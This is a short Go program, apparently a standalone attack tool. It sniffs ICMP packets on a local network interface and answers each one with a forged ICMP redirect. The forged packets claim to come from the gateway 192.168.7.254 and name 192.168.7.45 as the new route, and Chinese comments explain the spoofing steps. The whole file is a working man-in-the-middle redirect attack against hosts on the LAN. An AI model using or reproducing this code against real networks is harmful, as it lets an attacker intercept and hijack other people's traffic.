package main

import (
	"fmt"
	"github.com/google/gopacket"
	"github.com/google/gopacket/layers"
	"github.com/google/gopacket/pcap"
	"net"
)

func main() {
	handle, err := pcap.OpenLive("\\Device\\NPF_{C6571165-98E0-458B-B665-61F7D78A00CE}", 13006, true, pcap.BlockForever)
	if err != nil {
		println("pcap open fail, err:", err)
	}
	handle.SetBPFFilter("icmp")
	packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
	for packet := range packetSource.Packets() {
		fmt.Println("packet: ", packet)

		ethLayer := packet.Layer(layers.LayerTypeEthernet)
		eth, _ := ethLayer.(*layers.Ethernet)

		ipv4Layer := packet.Layer(layers.LayerTypeIPv4)
		ipv4, _ := ipv4Layer.(*layers.IPv4)
		if ipv4.SrcIP.Equal(ipv4.DstIP) {
			continue
		}
		icmpLayer := packet.Layer(layers.LayerTypeICMPv4)
		icmp, _ := icmpLayer.(*layers.ICMPv4)
		fmt.Println("eth", eth, "ipv4", ipv4, "icmp", icmp)
		sendIcmpPackage(eth, ipv4, icmp, handle)
	}
}

func sendIcmpPackage(eth *layers.Ethernet, ipv4 *layers.IPv4, icmp *layers.ICMPv4, handle *pcap.Handle) {
	//源IP改成网关
	ipv4.SrcIP, ipv4.DstIP = net.ParseIP("192.168.7.254"), ipv4.SrcIP

	//修改mac地址
	eth.SrcMAC, eth.DstMAC = eth.DstMAC, eth.SrcMAC

	//修改icmp的type,code,gw
	icmp.TypeCode = layers.CreateICMPv4TypeCode(5, 1)
	icmp.BaseLayer = layers.BaseLayer{
		Contents: []byte{192, 168, 7, 45},
	}
	buffer := gopacket.NewSerializeBuffer()
	options := gopacket.SerializeOptions{
		FixLengths:       true,
		ComputeChecksums: true,
	}
	gopacket.SerializeLayers(buffer, options, eth, ipv4, icmp)
	outgoingPacket := buffer.Bytes()
	err := handle.WritePacketData(outgoingPacket)
	if err != nil {
		println("send packet fail")
	}
}
